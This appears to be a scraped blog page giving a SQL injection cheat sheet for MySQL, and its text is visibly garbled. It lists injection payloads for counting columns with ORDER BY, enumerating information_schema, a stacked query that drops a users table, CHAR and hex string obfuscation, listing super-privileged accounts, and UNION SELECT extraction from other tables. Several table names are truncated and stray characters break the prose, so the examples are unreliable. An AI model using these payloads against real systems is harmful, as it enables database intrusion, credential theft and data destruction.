![]() But these keywords are used to identify no of columns present in the table.Įx: SELECT * FROM Customers ORDER BY 3 /* Start the checking of order from columm 1 and subsequent increament the value untill the app throw any error/not any result. The ORDER BY keyword is used to sort the result-set in ascending or descending order.Selecting all the columns in perticular tableĮx: SELECT * FROM information_lumns WHERE table_name = 'TABLE_NAME' ![]() MySQL does not support stack query with PHP, ASP.NET, JavaĮx: SELECT * FROM products WHERE id = 1 DROP users- /* stack query example */Įx: SELECT CONCAT(CHAR(77),CHAR(89),CHAR(83),CHAR(81),CHAR(76)) /* return MYSQL string */Įx: SELECT 0x4d7953514c /* return MYSQL string */Įx: SELECT host, user FROM er WHERE Super_priv = 'Y' Įx: SELECT * FROM information_schema.tables. ![]() The columns in every SELECT statement must also be in the same order.Įx 1: Select student_id, student_name, student_branch from students where student_id=1 UNION SELECT 1, 'hack' 'password' /* Select from same table */Įx 2: Select student_id, student_name, student_branch from students where student_id=1 UNION SELECT 1, 'hack' 'password' FROM ers /* Select from different DB and table */ The columns must also have similar data types.Ĭ. Every SELECT statement within UNION must have the same number of columns.ī.
0 Comments
Leave a Reply. |
AuthorWrite something about yourself. No need to be fancy, just an overview. ArchivesCategories |